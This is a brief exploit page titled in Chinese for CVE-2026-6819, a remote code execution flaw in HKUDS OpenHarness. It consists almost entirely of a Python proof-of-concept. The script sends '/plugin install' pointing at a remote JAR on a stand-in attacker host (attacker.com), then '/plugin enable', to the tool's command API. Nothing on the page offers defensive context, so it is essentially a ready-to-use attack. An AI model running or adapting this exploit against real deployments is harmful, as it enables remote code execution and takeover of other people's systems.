CVE-2026-6819 HKUDS OpenHarness 远程代码执行漏洞

import requests def exploit(target_url, malicious_plugin_url): # Exploit concept: Send plugin install command headers = {'Content-Type': 'application/json'} # Step 1: Install the malicious plugin payload_install = { "command": "/plugin install", "args": [malicious_plugin_url] } print(f"[*] Sending install command to {target_url}...") r1 = requests.post(target_url, json=payload_install, headers=headers) print(f"[+] Install response: {r1.status_code}") # Step 2: Enable the plugin # Assuming the plugin name is derived or known, e.g., 'evil-plugin' payload_enable = { "command": "/plugin enable", "args": ["evil-plugin"] } print(f"[*] Sending enable command...") r2 = requests.post(target_url, json=payload_enable, headers=headers) print(f"[+] Enable response: {r2.status_code}") if __name__ == "__main__": target = "http://127.0.0.1:8080/api/command" evil_jar = "http://attacker.com/exploit.jar" exploit(target, evil_jar)